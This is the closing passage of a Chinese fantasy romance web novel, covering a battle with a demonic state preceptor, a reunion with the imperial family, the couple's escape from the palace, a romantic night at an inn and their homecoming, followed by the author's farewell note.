这名弟子肋骨发出不堪重负的碎裂声,他大口大口地吐着鲜血,眼神开始涣散。 “布阵,快!!”有人提醒。 地面上,几名弟子闻言,数道身影迅速踩踏特定的方位,手中法器或结印,一道道灵光自他们身上亮起,迅速交织,试图构成一个巨大的束缚。 那名被卷住的弟子,如同一个破败的布娃娃,在阎九胤的尾巴里被来回甩动,鲜血不断洒落。 阎九胤目光阴森,盯着下方正在结阵的弟子们:“我再给你们最后一次机会!就此停下,我既往不咎。” “去你妈的伪君子!谁要你既往不咎!血债必须血偿!”一名性格火爆的弟子直接破口大骂。 “找死!!” 阎九胤没了耐性,怒吼一声,庞大的身躯一动,猛地朝那名骂他的弟子扑去。 “拉住他!”又一名弟子怒吼出声。 数道锁链光芒立刻缠上了阎九胤的身体,然而,这只是暂时延缓了他的动作,甚至彻底激发了他所有的凶性。 他庞大而灵活,完全发狂,到处乱砸,一尾巴下去,便是数声惨叫声传来。 此时的妖牢上方,化作了屠宰场,血腥又恐怖。 白尘烬赶回来时,看到的,便是这一副场景。 察觉到白尘烬的气息,阎九胤庞大的身躯猛然一滞,转向树梢方向。 他嘶哑开口,语气竟带着扭曲的熟稔:“小安……你回来了。” 白尘烬立在树梢,不回答。 国师自言自语,好似在笑,又好似在哭:“他们是叛徒,都是叛徒,只要你不要插手……” 他臃肿的头颅微微晃动,仿佛做出巨大让步:“待事了了,你带那女人离开上京,永世不回,守口如瓶……我便放你们生路。” 他与他的仇恨,源自于一个问题。 那年,幼年的白尘烬,指着他,问一侧服侍的人:“为什么这个人身上飘着五彩的光?” 那一刻他如坠冰窟。 那孩子竟能看穿他吸食妖丹得来的驳杂力量。 这个秘密一旦泄露,他苦心经营的一切都将崩塌。 惊惧之下,他设计将这孩子要到身边。 他发现了白尘烬的半妖血脉,也洞悉了皇后的秘密,却动不了深受帝宠的她。 皇后则将萧霁雪塞入国师府,以萧家的实力护着白尘烬。 在阎九胤记忆里,那也算得上一段温馨时光。 除了用这孩子试验妖丹,除了看着他因邪物而力量失控、承受经脉撕裂的痛苦之外…… 如今,他做出来极大的退让,只要他不插手,他便放过他。 他认为这个交易很公平。 毕竟两人还是有些“情分”在的。 可白尘烬依旧沉默,只是微微抬起下颌。然后,在那张俊美绝伦的脸上,唇角缓缓地勾起一抹淡淡的弧度。 他的眼底没有半分笑意,只有兴奋。 阎九胤庞大的身躯猛地颤抖,一股比任何攻击都要刺骨的寒意,贯穿了他脊背- 妖牢方向的惊天动地,连这小山坡的地面都隐隐传来细微的震动。 沈染星的心神系在远方,担忧白尘烬的安危,以至于未曾察觉,几只小小的的身影,正怯生生地靠近她。 直到小腿处传来一阵毛茸茸的痒意,她才猛地回神,低头一看,竟是几只尚未化形的小妖。 它们似乎刚从国师府的混乱中逃出,身上还带着些许狼狈。 沈染星被吓得缩了缩腿:“你们不赶紧离开这里,还留在这儿做什么?” 其中一只耳朵耷拉着的兔妖,壮着胆子往前蹦了一步,将口中衔着的青草放在她脚边,声音细弱蚊蚋:“吃饭。” 沈染星愣了一下,随即明白过来。 这些弱小的小妖,想必是在妖牢被毁时得以逃脱,它们记得是她间接救了它们,这是用它们力所能及的方式在报恩。 心头一暖,她弯腰拾起那束青草,小心地放进怀里,对兔妖露出一个温和的笑容:“谢谢,我现在还不饿,待会儿再吃。” 见她收下,另外几只小妖也仿佛受到了鼓励,纷纷将自已带来的礼物放下。 有野花,草药,还有……虫子。 沈染星:…… 就在这时,天空中不知哪里发出声音:“赢了赢了!” 仿佛一声令下,所有聚集在沈染星身边的小妖身体齐齐一僵,瞬间作鸟兽散,飞快地消失在草丛和树林深处。 沈染星若有所感,抬起头。 白尘烬不知何时已悄然归来,正静立在不远处。 他眼中的晶蓝色尚未完全褪去,脸庞上冰蓝色纹路再次浮现,如同神秘的图腾,为他平添几分非人的妖异感。 玄色衣袍上有几处不起眼的破损,发丝也略显凌乱,周身散发着一种刚刚经历完激烈战斗后的肃杀之气。 直到此刻,沈染星才后知后觉地发现,远处妖牢方向的动静,不知何时已彻底归于平静。 她刚想站起身迎上去。 白尘烬身形微晃,竟直直地朝她倒了下来。 沈染星惊呼一声,连忙上前,扶住他高大沉重的身躯。 她吃力地搀扶着他,让他缓缓靠坐在身后的树干上。 一番查看后,沈染星紧绷的心弦才稍稍放松。 白尘烬呼吸平稳,脉象虽有些紊乱却并无大碍,身上也没有严重的伤口。 看来,他这是彻底放开了手脚与国师一战,将力量倾泻而出,导致体力与精力透支,此刻只是脱力昏睡过去了。 沈染星轻轻舒了口气,在他身侧坐下,静静守在他身边。 此时,她才有心思仔细打量这片小山坡。 夕阳的余晖给草地和树林镀上了一层温暖的金色,微风拂过,带来青草与野花的清香,宁静秀美,恍若隔世。 不知过了多久,太阳已沉了一半。 山坡下方,传来了一阵脚步声。 沈染星警惕地望去,只见草丛晃动,先是几顶冠冕露出,随即,一行衣着庄重的人缓缓显出身形。 他们穿着宫廷内侍与女官的服饰,举止间透着皇家的雍容与规矩,人数不少,来到跟前后,分列两旁,让出一条通路。 沈染星的心瞬间提了起来。 第104章 归途 沈染星猜测白尘烬与皇室关系复杂, 此刻他力竭昏睡,脸上还带着妖异的纹路,若是被这些人看去,不知又会生出什么事端, 若再受到什么刺激…… 那可不太妙。 她迅速侧过身子, 用自己的背影尽可能挡住白尘烬, 同时抬起手臂,用自己宽大的衣袖,严严实实地遮住了他沉睡的脸。 她不知, 前方来人时, 白尘烬已经醒了。 白尘烬长睫微颤, 抬手,轻轻将她遮挡的衣袖拉了下来。 天光刺目,他微微眯了眯眼,随即,映入他眼帘的, 便是沈染星那紧张兮兮, 试图用单薄身躯保护他的模样。 此情此景, 让他有些恍然, 初遇她时,她也是这般紧张地想要护着他。 当初,他只以为那是别有用心的作秀。 而如今回想起来,那只是她下意识的反应。 白尘烬垂了垂眼眸,唇角勾了勾。 沈染星正暗暗思忖着, 该如何在不惊动那些宫人的情况下,将力竭的白尘烬带离这是非之地。 忽然,肩头一沉, 一只微凉的手掌轻轻按在了她的肩头。 她猛地转头,对上了白尘烬已然睁开的眼眸。 “你醒过来了?”她惊喜道,随即发现他脸上那些冰蓝色的纹路,不知何时已悄然褪去,恢复了原本光洁的肌肤。 她那只抬起,准备继续为他遮掩的手,此刻僵在半空,不知是该放下还是继续。 白尘烬将她抬起的手轻轻按下,随即站起身,顺手也将她拉了起来。 他的动作依旧有些微的滞涩,但站姿已然恢复了平日的挺拔。 沈染星刚站直身子,还未来得及询问他的状况,便听到一道急切女声响起: “小安!” 伴随着这声呼唤,一阵清雅馥郁的熏香随风拂来。 沈染星侧头一看,心中微惊。 一位身着轻便华服,气质雍容高贵的女子,竟不知何时已来到他们身侧。 这位女子伸出双手,捧住了白尘烬的脸庞,仔细端详着。 她保养得宜的脸上是担忧与激动:“听说,你终于能完全控制住那道力量了?这么大的事,也不让冯维翰多给我写几封信详说!你可知道娘亲心里有多担心你!” 因白尘烬瞳孔异于常人,皇帝为掩盖皇后可能存在的妖族血统,对外宣称他是抱养来给皇后解闷的养子,并仿照民间称呼,让他在宫中唤她娘亲。 白尘烬脸上并无多少波澜,轻轻扯下皇后捧着他脸的手:“谢谢娘亲挂心,我没事。” 一旁的沈染星简直看呆了。 她认知里,白尘烬的童年堪称悲惨,与皇室的关系更是冷淡,甚至可说恶劣。 她预想过无数种母子相见的情景,却唯独没想过会是眼前这般……带着寻常人家烟火气的亲昵。 皇后将注意力转向一旁的沈染星。 沈染星见她目光扫来,不知妖如何行礼。 正纠结,啪一声轻响。 她的脸颊便被一双温暖而柔软的手捧住了。 皇后竟也用同样的方式捧住了她的脸,力道不重,却让她双颊被微微挤压,嘴唇都不自觉地嘟了起来。 距离如此之近,沈染星能看到皇后那双美丽凤眸,也氤氲着一层极淡的蓝色光华,如同远山的薄雾,若非凑得这般近,绝难察觉。 皇后笑盈盈地端详着她:“你就是那个建立了共生苑的沈东家吧?” 沈染星被捧着脸,只能艰难地点头。 皇后笑得愈发开心,眼角的细纹都透着一股慈和:“难怪能把我们家小安迷得七荤八素,连皇宫都不愿多回的,真是太可爱了!” 小安? 这是白尘烬的小名? 沈染星眨了眨眼,转眸看向白尘烬。 白尘烬似乎有些不喜,他一手搂住沈染星的肩膀,将她往自己身边带了带,另一手轻轻按下皇后捧着沈染星脸颊的手。 “娘,您怎么会突然来这里?” 皇后是收到了萧霁雪的紧急讯息,得知国师府惊变,才立刻轻车简从赶来。 此刻,萧霁雪与墨临渊等人还在国师府处理后续事宜,清扫战场。 沈染星和白尘烬则坐上了皇后备好的马车,随她一同返回宫中。 马车辘辘前行,车厢内熏香袅袅。 沈染星憋了满肚子的话,此刻终于有机会问出。 她挨着白尘烬坐下:“他们为什么都叫你小安?” 白尘烬闲适靠在软垫上,一副闲散公子做派:“我在宫中的名字是谢安。” “那你现在的名字呢?” “是师父起的。” 沈染星若有所思,伸出纤长手指,拨弄着小几上花瓶里插着的一支淡蓝色小花。 “谢安,藏得可够深的啊。” 白尘烬闻言,长臂一伸,将她揽入怀中,声音低沉:“没藏,是你没问。” “那……还有什么是我不知道的?” 白尘烬似乎真的认真思索了一下,才道:“方才我们停留的那座小山坡……” 他顿了顿,看向她,“就是你初见我时,口中提到的无忧山。” 沈染星眨了眨眼,有些愕然地抬头看他:“就是那里?” 竟然只是这样一个寻常的,离国师府不远的小山坡? “嗯。” 他沉默了片刻,又想起一事,补充道:“晚上……宫中或许会有家宴。你若是不习惯那种场合,或者觉得累了,随时告诉我,我提前带你离开。” 当晚的宫宴,沈染星终于切身体会到,为何白尘烬会提前给她打好预防针。 她也搞明白了,为何那位外表端庄雍容,内里却是跳脱活泼的皇后娘娘,是怎么生出白尘烬这样动不动就释放冷气,情绪内敛的闷葫芦来。 原来,白尘烬这清冷寡言的性子,多半是遗传自他那威严莫测的父亲。 有高高在上的皇帝陛下镇坐主位,整个家宴的氛围庄重得近乎凝滞。 每一道菜品的摆放、每一次举箸、每一句交谈,都仿佛遵循着无形的刻板规矩,空气里弥漫着一种无形的压力。 沈染星只觉得连呼吸都需要刻意调整,生怕行差踏错。 好在皇后娘娘一直笑语盈盈,时而用轻松的话语巧妙化解片刻的冷场,时而与皇帝低声说笑两句,气氛没僵得太厉害。 沈染星这才得以无惊无险吃完了这顿御宴。 直到皇帝率先起身离去,那股笼罩在众人头顶的无形威压才骤然消散,席间所有人,包括太子、长公主在内,似乎都不约而同松了口气。 长公主,白尘烬的皇长姐,率先走了过来。 她容貌明艳,气质干练,对着沈染星友善地笑了笑:“在宫里若是待得闷了,随时可以来我的公主府坐坐,寻些趣事。” 沈染星连忙点头应下:“多谢长公主殿下。” 长公主的目光又落到一旁白尘烬身上,带着几分戏谑:“瞧瞧我们小安,这性子真是愈发像父皇了,整日里没个笑模样,也就是对着你,还能有点好脸色。” 沈染星还未想好如何回应。 太子与太子妃也走了过来。 太子举止得体,客气地与沈染星和白尘烬打了声招呼,说了几句场面话,便借故带着太子妃离开了。 长公主见状,也笑了笑:“好了,时辰不早,我们也该告退了。” 她转身离去,身后跟着一位容貌俊秀,气质却略显阴柔的驸马。 那驸马也只是对着沈染星和白尘烬微微拱手,便沉默地跟在长公主身后离开,两人之间几乎没有任何眼神或言语交流。 听闻长公主与驸马关系淡漠,如今一见,果然名不虚传。 新鲜感,兴奋劲过去后,沈染星才真正明白了长公主口中“闷了”的含义。 宫里的规矩繁文缛节多如牛毛,即便皇后宠爱,特意为她减免了许多条条框框,但仅仅是剩下的那些,也足以让人感到束缚和疲惫。 行走坐卧,言谈举止,无一不需留意。 而白尘烬这一家子,初看只觉得天家贵胄,威仪不凡。 可相处时间稍长,种种怪异之处便浮现出来。 太子与太子妃本是青梅竹马,曾传为佳话,如今却感情破裂,太子心仪他人,闹出了不少啼笑皆非的风波,只是碍于颜面,在外依旧维持着相敬如宾的假象。 长公主与驸马更是形同陌路,各自拥有广阔的“交友”圈子,互不干涉,也懒得在人前伪装,关系冷得能结冰。 沈染星有次去公主府拜访,还不小心撞见了长公主一位姿容绝世的男宠,场面一度十分尴尬。 自那以后,白尘烬便明令禁止她再去公主府散心了…… 至于皇帝陛下,更是神龙见首不见尾,等闲难以见到一面。 皇后娘娘倒是真心和蔼,待她极好。 可这份好里,却带着极强的控制欲。 沈染星和白尘烬的衣食住行,小到每日的膳食品类,大到居所布置,几乎事事都要经过皇后的手,仿佛不如此便不能体现她的关爱。 更让沈染星感到头疼的是,皇后似乎将她当成了所有物,不愿她离开皇宫半步,连出宫逛逛都不行。 眼看时光飞逝,一晃眼两个月过去。 沈染星的感受由最初的新奇,渐渐变作了无聊。 白尘烬嘛……倒是适应良好。 如同往常一般,静静守在她身边,与从前没什么两样。 夏日的御花园,仿佛将天地间所有的生机都浓缩于此。 皇后对花草的痴迷近乎偏执,宫人们自然也精心侍奉,使得园中花木远比宫外茂盛葳蕤,繁花似锦,层层叠叠,几乎要淹没蜿蜒的小径。 沈染星独自坐在花丛深处的石凳上,手肘支着桌面,掌心托着下颌。 她仰起头,望着四四方方的一片蓝天,在想要不要离开这里,回共生苑。 也不知道他们如何了。 正出神间,只听得两声轻响,两个看起来再普通不过的青色布包袱,放在了石桌之上。 沈染星微微一愣,视线顺着那放下包袱的手,向上移去。 那是一双骨节分明的手,肤色是常年不见日光的冷白,手背上淡青色的血管脉络清晰可见,透着一种近乎易碎的精致。 不得不说,仅是看着白尘烬这双手,便已是一件令人赏心悦目的事情。 而更让她心头悸动的,是这双手的主人,竟在她刚刚冒出逃离念头不久,便已准备好了行囊。 这种不期而至的默契与体贴,让她几乎无法抗拒。 沈染星仰起头,毫无意外,撞入了白尘烬低垂的视线里。 他不知已在她身后站了多久。 “今日,兄长与太子妃的争执闹到了母后宫中,”白尘烬道,“母后正在费心调解,宫内视线都被吸引过去,若是想离开,眼下是最好的时机。” 沈染星看看桌上的包袱,又看看他波澜不惊的脸,心中涌起一股奇异的感觉:“我才刚刚开始考虑离开的事……怎么就这么巧?” “不是凑巧。” 沈染星眼中浮现疑惑。 “我看你也快玩腻了,于是送了一点证据给太子妃。” 沈染星愕然睁大了眼睛:“你怎么还学会使阴招了。” 白尘烬低笑一声:“他们吵了半辈子,也不多添上这一桩了。” 此刻的他,周身敛去了所有冰冷的戾气与压迫感,眉眼间竟流露出一种沈染星从未见过的,还带着些许痞气的慵懒,简直像个顽劣贵公子。 沈染星望着他的侧脸, 心脏猛跳两下, 忍不住凑了过去,亲了一口他的唇角。 白尘烬不明所以地看向她。 沈染星眉眼弯弯:“没什么,就是觉得你越来越有人情味儿了。” 白尘烬垂眼,敛起眼中的情绪。 事实上,他当初答应留在宫中,内心深处,未尝没有隐晦的炫耀心思。 一个曾被家族权力倾轧、被父皇权衡舍弃、情感贫瘠到近乎荒芜的人,一个被放逐的弃子,如今却找到了世间独一份的,愿意全心守护他的珍宝。 他或许只是想向所谓的家人无声地宣告:看,即便是我,也能拥有你们无法触及的圆满。 那场家宴上,他知道自己成功了,成功地向他们展示了属于他自己的锚点。 那时,他几乎难以遏制心中的兴奋,胸口甚至微微痉挛,深呼吸了好几次,才勉强冷静下来。 然而,前几日,父皇私下召见他,提及要为他们补办一场盛大婚仪。 要将沈染星的名字正式录入皇室玉牒,让她真正成为皇室中人。 那一瞬间,他心底焦躁得甚至起了杀意。 怎么可以! 她是他一人的沈染星,是他从黑暗里亲手捧出的月光,怎能被这冰冷的宫规、虚伪的宗谱所束缚、打上皇室的烙印! 那一刹那,他甚至对那象征着无上权力的父亲,起了冰冷的杀意。 必须要离开了。 他一直在暗中寻找最稳妥的时机,却又隐隐担忧,沈染星是否会贪恋这宫中的安逸或……别的什么。 直到今日,他察觉到了她的心思,便迫不及待的开始行动。 搅浑太子府那潭本就浑浊的水,吸引走宫中所有的注意力,为离开铺路。 沈染星全然不知,白尘烬心中这些曲折阴暗的弯弯绕绕。 更不知,往日里,白尘烬藏在暗处一瞬不瞬地凝视着她,确认着她的存在与归属。 只道自己和白尘烬居然心有灵犀至此。 甚至为此而十分高兴。《 》 我回来了【完结】 第105章 结局 我回来了 在这夏日午后, 蝉鸣最盛时分,两人便这般带着简单的行囊,逃离了皇宫。 沈染星与白尘烬一路游山玩水,趣事不断, 她如同飞出牢笼的雀鸟, 心情自是欣喜雀跃, 连带着对沿途的风景都带着一层新鲜的滤镜。 这日,她在外闲逛片刻,心满意足地回到下榻的客栈房间。 推门而入, 室内光线昏暗, 她下意识地觉得有些异样。 往角落一看。 黑暗中, 一道高大挺拔的身影,几乎与阴影融为一体,若非那过于强烈的存在感,几乎难以察觉。 他就那样静默地立着,不知已看了多久。 沈染星:…… 有段日子没被白尘烬这般惊吓到了。 方才那一眼, 心脏实实在在地狠跳了两下, 力道猛烈, 让她怀疑它下一刻就要挣脱胸腔的束缚。 她早已熟悉白尘烬带着浓烈占有欲, 近乎贪婪的注视。 对此,她非但不反感,反而甘之如饴,这能给她带来无与伦比的安全感与被珍视感。 只是她没想到,他如今不仅光明正大地看…… 竟还进化出了, 在阴暗角落里默默窥探的癖好? 难道是想要知道,自己在他不在时,会是什么样的吗? 一想到自己平日里一些小动作被他看了去, 沈染星即使不介意,也不免有些脸热。 她给自己倒一杯热茶,看向他:“你不是去查探是否有人追来吗?怎么还在这里?” 白尘烬看着她,表情第一次有些不知所措。 沈染星心里顿时舒服了。 原来,他也知道这种暗中窥探的行为,是有些……羞耻的。 茶水滚烫,无法立刻入口,沈染星只能小口吹着气。 白尘烬朝她走来,伸手将她手中的茶杯接了过去,解释道:“今日没有必要出去了。” 当他将茶杯递回,沈染星接过,杯中的茶水已然冷却到了刚好可以入口的温凉。 她抿了一口,润了润有些发干的喉咙,抬眼看他:“那今日我们早点休息?” 话音刚落,白尘烬的眼神便暗了一瞬。 视线不断地在她的唇上流连忘返。 沈染星发现,白尘烬似乎格外热衷于这种模式。 在他自己主动发起进攻前,总是先不动声色地释放信号,引诱着她先行靠近。 他仿佛格外享受,并期待着她的主动。 今夜,沈染星难得起了几分逗弄他的兴奋劲儿。 她偏不想如他所愿,按着他设定的步调走。 她忽然很想看看,若让他生出一种脱离掌控的感觉,他会如何反应? 不料,结果是…… 没反应。 甚至在她洗漱完毕,穿着清爽的寝衣回到房间时,他也依旧平静如常,只是从容地自行梳洗,然后在她身侧躺下。 沈染星本还想与他继续这番无声的较量,硬撑着不先示弱。 可睡意如同潮水般阵阵袭来,她抵抗不住,没过多久,意识便渐渐模糊,几乎要沉入梦乡。 只是,她睡得并不安稳,总觉得有人在身边盯着她。 视线十分强烈,像是将她拆吃入腹。 又过了片刻,那人似乎不再满足于视线。 因为他的气息越来越清晰了。 果不其然,就在沈染星意识朦胧之际,她猛地睁开了双眼,一下子便撞进了白尘烬近在咫尺的眼眸里。 根本不容她反应,白尘烬扣住她的下颚,舌头撬开她的唇齿,抵了进去。 沈染星分明在他那双眼眸里,看到了挑衅…… 这一下,彻底点燃了沈染星骨子里那点不服输的劲儿。 她再也忍不住,开始重重地回吻过去。 隔着两层薄薄寝衣的身躯,越来越热。 不知何时,轻纱帐幔悄然滑落,衣带被夏日热烈的风,吹到了墙角。 乍现的巍峨,彻底打破了室内平和,也击碎了两人的冷静。 白尘烬掌心带着灼人的温度,沿着肩头蜿蜒而下,掠过纤腰,抚过背脊。 那酥酥麻麻的触感,引得人一阵轻颤。 这反应无疑取悦了他,也刺激了他。 有人狂妄肆意,攻城略地;有人故意纵容,甚至主动迎合。 他吻着她,她回应着他。 白尘烬按住她作乱的手,阖眼忍了不过几息,又俯身吻下去。 他实在是沉迷于她,无法自拔。 沈染星伸手,覆上他刚毅的下颌,用指腹温柔地摩挲着。 白尘烬低头看一眼,又抬眸对上她那副全然信任,任他予取予求的眼神,整个太阳穴都在突突地胀痛。 心脏在胸腔里疯狂撞击,咚咚作响,震耳欲聋。 她是他的,他是她的,两人再也无法分离。 …… 事实证明,在某些时刻许下的承诺,是最不可信的。 第二日清晨,沈染星醒来时,还心有余悸,难以言说的充胀十分明显。 她坚决不愿再住在这间充满了不良记忆的客栈,早早便起身,利落地收拾好了行囊,打算立刻出发。 白尘烬自知昨夜没能忍住,失了分寸,有些过火。 此刻倒是异常安分乖巧,默默跟在她身后,主动提起所有行囊。 沈染星在前面走着,脚步突然一顿。 此刻,她突然明白了,昨晚白尘烬那一句“今日没有必要出去了”的意思。 也明白他脸上无措的表情含义。 才不是什么被发现偷窥了。 而是…… 他事没办好。 冯维翰追了上来,可不是不用出去了嘛…… 既然冯维翰这般大摇大摆出现在这里,那就证明,这附近,肯定布满了他们的人。 冯维翰站在客栈门口,看到了沈染星和白尘烬,立即迎了上来。 “少爷,少奶奶,在外面游玩了这些时日,想必也尽兴了。娘娘挂念得紧,不如随属下回宫吧?” 他说完,侧身示意,身后赫然停着一辆装饰华贵的马车。 沈染星心头一紧,后退了半步。 白尘烬的手适时地在她背后稳稳一撑。 他抬眼看向冯维翰:“你心里清楚,就凭你带来的这些人,困不住我。” 这话并非狂妄。 他们伤不得这位爷,而这位爷若被逼急了,却可以毫无顾忌地出手。 更何况,他们投鼠忌器,也担心伤及沈染星分毫。 甚至,论实力,在场所有人加起来,恐怕也难挡白尘烬全力一击。 冯维翰的脸立刻皱成了苦瓜,压低声音:“少爷,您行行好……好歹让属下回去能交个差。您……下手轻点儿,做个样子就成。” 白尘烬连眼皮都懒得抬,抬手揽住沈染星的肩头,径直绕过他向外走去,只留下冷冰冰的三个字: “找别人。” 冯维翰:“……” 得,这位爷连敷衍了事,演场戏都不愿意! 他看着白尘烬护着沈染星,如同穿过无人之境,从他和一众手下面前坦然走过。 无一人敢出手阻拦,甚至连一句重话都不敢说。 待两人的身影走到街上,冯维翰才缓缓转过身,望着他们离去的方向。 他算是看着白尘烬,从那个在深宫中挣扎求存的孩童,一步步走到今天的。 谁能想到,当年那个被所有人认定将在权力倾轧和自身力量反噬中万劫不复的孩子,如今竟能拥有这般……寻常人的幸福模样? 旁边一名下属小心翼翼地凑上前:“大人?您在笑什么?可需要属下立刻安排人手暗中跟上去?” 笑?他有在笑吗? 冯维翰瞬间收敛了所有表情,板起脸:“我有笑吗?” “刚、刚才好像……有……” “嗯?” “没有!绝对没有!是属下眼花了!” “哼,” 冯维翰冷哼一声,揉了揉自己的脸颊,指着自己的颧骨,“那好,你,照着我这儿,来一拳,用力点,我好回去交差。” 属下:“啊?”- 冯维翰竟如此轻易地放行,确实出乎白尘烬与沈染星的预料。 但这份意外之喜,很快被归家的迫切冲淡。 甩掉了跟踪尾巴,沈染星归心似箭,几乎是日夜兼程,连续赶了三天两夜的路。 若非白尘烬顾及她的身体,强行要求休息,她恨不能一刻不停。 终于回到了熟悉的方圆镇地界,沈染星却并未直接返回共生苑,反而先寻了家清净的客栈住下。 她想要梳洗一番,褪去一路的风尘仆仆,以最好的状态回到那个地方。 客房里,白尘烬立于她身后,执起木梳,动作熟练地为她绾发。 他的指尖穿梭在青丝间,力度适中,手法流畅,不过片刻,一个精致而不失温婉的发髻便已成型。 沈染星望着镜中他那利落的手法,不禁讶然:“你的手艺……什么时候进步得这样快了?” 印象中,他虽会为她挽发,却远不似如今这般行云流水。 在她陷入漫长昏迷的那些日子里,曾有一段时光,他如同陷入魔怔,日日对着沉睡的她,假装她依旧醒着,为她梳理青丝,变换各种发髻款式,仿佛如此便能骗过自己,她只是睡着了。 如何能不熟练? 白尘烬眸光微动,并未正面回答:“喜欢吗?若喜欢,往后我都为你盘发。” 沈染星识趣地没深究,嫣然一笑:“好啊。” 携手回到共生苑大门前,门口川流不息。 望着那熟悉的匾额,沈染星脚步不由得顿住。 一种近乡情怯的感觉油然而生。 她理了理本就平整的衣摆。 这里,是她的家。 没有算计倾轧家。 没有无休止打架争吵的家。 她期盼了半生而不可得的家。 白尘烬静静立在她身后半步之遥,并未催促。 沈染星抚平心绪,正准备抬脚踏入大门,忽然感到小腿一紧张。 她被一个软乎乎的东西抱住了。 低头一看。 竟是一个粉雕玉琢的小奶团子。 小家伙看起来约莫一岁出头,穿着喜庆的红色小袄子,仰着白白嫩嫩的小脸,一双乌溜溜的大眼睛正好奇地望着她,嘴里咿咿呀呀地嘟囔着,藕节似的手臂紧紧抱着她的腿。 一个奶妈模样妇人,急匆匆赶来,脸上带着歉意:“哎呦,小青青,怎么又乱跑!快松开,别惊扰了贵客……” 说着便要伸手将孩子抱开。 “无妨。”沈染星却抢先一步,弯腰,将那小团子抱了起来。 说来也怪,这小娃娃竟一点也不怕生,一到她怀里,便咧开没几颗牙的小嘴,咯咯地笑了起来,带着奶香的小身子软软地靠着她。 沈染星对一脸紧张的奶妈安抚地笑了笑,示意她不必担心。 随后,她像是发现了什么,仔细端详着怀里娃娃的五官。 越看越觉得眼熟,沈染星忍不住抬头,对白尘烬道:“你看她……长得是不是很像阿盈?” 话音刚落,一个声音便从院内传来,清脆又熟悉。 “东家!” 沈染星循声望去,小雪雕雪白雪白的,欢快地朝她奔来。 而在小雪雕之后,在那夏日灿烂得有些炫目的阳光下,院中的葡萄架旁,站着四道呆滞的身影。 暖风起,扬起了鬓发,小雪雕跃上肩头,沈染星双目也缓缓瞠大。 他们都在。 “我回来了。”她说着,牵起白尘烬的手,朝他们走去。 —全文完——— 作者有话说:正文就到这里结束啦[撒花][撒花][撒花] 谢谢读者宝子们的陪伴,番外火热准备中,不过不是日更了【比心比心】《 》